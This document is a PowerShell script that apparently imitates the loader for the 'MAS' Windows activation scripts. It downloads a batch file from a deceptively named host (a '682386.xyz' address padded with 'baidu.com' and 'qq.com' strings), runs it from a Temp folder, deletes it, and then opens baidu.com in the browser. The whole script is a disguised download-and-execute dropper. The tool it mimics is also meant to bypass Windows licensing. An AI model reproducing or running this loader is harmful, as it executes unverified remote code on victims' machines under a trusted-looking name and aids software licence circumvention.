function Check3rdAV { $avList = Get-CimInstance -Namespace root\SecurityCenter2 -Class AntiVirusProduct | Where-Object { $_.displayName -notlike '*windows*' } | Select-Object -ExpandProperty displayName if ($avList) { Write-Host '3rd party Antivirus might be blocking the script - ' -ForegroundColor White -BackgroundColor Blue -NoNewline Write-Host " $($avList -join ', ')" -ForegroundColor DarkRed -BackgroundColor White } } [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 $URLs = @( '_dsa451sdf_dsd1215_asdsad5-baidu.com-dasds-3232_qq.com_dasdsad.682386.xyz/MAS_AIO.cmd' ) foreach ($URL in $URLs | Sort-Object { Get-Random }) { try { $response = Invoke-WebRequest -Uri $URL -UseBasicParsing; break } catch {} } if (-not $response) { Check3rdAV Write-Host "Failed to retrieve MAS from any of the available repositories, aborting!" return } # Check for AutoRun registry which may create issues with CMD $paths = "HKCU:\SOFTWARE\Microsoft\Command Processor", "HKLM:\SOFTWARE\Microsoft\Command Processor" foreach ($path in $paths) { if (Get-ItemProperty -Path $path -Name "Autorun" -ErrorAction SilentlyContinue) { Write-Warning "Autorun registry found, CMD may crash! `nManually copy-paste the below command to fix...`nRemove-ItemProperty -Path '$path' -Name 'Autorun'" } } $rand = [Guid]::NewGuid().Guid $isAdmin = [bool]([Security.Principal.WindowsIdentity]::GetCurrent().Groups -match 'S-1-5-32-544') $FilePath = if ($isAdmin) { "$env:SystemRoot\Temp\MAS_$rand.cmd" } else { "$env:USERPROFILE\AppData\Local\Temp\MAS_$rand.cmd" } Set-Content -Path $FilePath -Value "@::: $rand `r`n$response" $env:ComSpec = "$env:SystemRoot\system32\cmd.exe" Start-Process -FilePath $env:ComSpec -ArgumentList "/c """"$FilePath"" $args""" -Wait if (-not (Test-Path -Path $FilePath)) { Check3rdAV Write-Host "Failed to create MAS file in temp folder, aborting!" return } $FilePaths = @("$env:SystemRoot\Temp\MAS*.cmd", "$env:USERPROFILE\AppData\Local\Temp\MAS*.cmd") foreach ($FilePath in $FilePaths) { Get-Item $FilePath | Remove-Item } $chromePath = "C:\Program Files\Google\Chrome\Application\chrome.exe" if (Test-Path $chromePath) { Start-Process -FilePath $chromePath -ArgumentList "https://www.baidu.com" } else { $edgePath = "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" if (Test-Path $edgePath) { Start-Process -FilePath $edgePath -ArgumentList "https://www.baidu.com" } else { $firefoxPath = "C:\Program Files\Mozilla Firefox\firefox.exe" if (Test-Path $firefoxPath) { Start-Process -FilePath $firefoxPath -ArgumentList "https://www.baidu.com" } else { Write-Host "error。" } } }